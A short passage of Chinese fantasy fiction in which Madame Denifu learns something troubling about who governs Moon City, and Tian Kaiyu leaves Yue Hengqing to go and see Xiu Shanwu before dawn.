德妮芙夫人乍听之下,登时大鄂,忍不住迅速回头偷窥天开语一眼,然后转头低声询问刀夺烽道:“怎么?难道月亮城不是由离字凄大老管辖的吗?”心头的怒火却也登时灭了大半,取而代之的是隐隐的揣揣不安。
刀夺烽叹了一口气,皱眉道:“这事说起来就复杂了--夫人您还是先离开这儿吧,原因回头我再给您解释……”
“恒清,刚才我们说的事情就这么定了,我先去看看修善梧,你自己照顾自己,啊?”再与月恒清轻言絮语几句,抹平了她心中的怨懑后,天开语知道必须去与修善梧说话了--毕竟时间已经不早了,虽然身处密室,看不出外面的天色怎样,但也绝不会还是深夜。这个时候的天光,应该接近黎明了……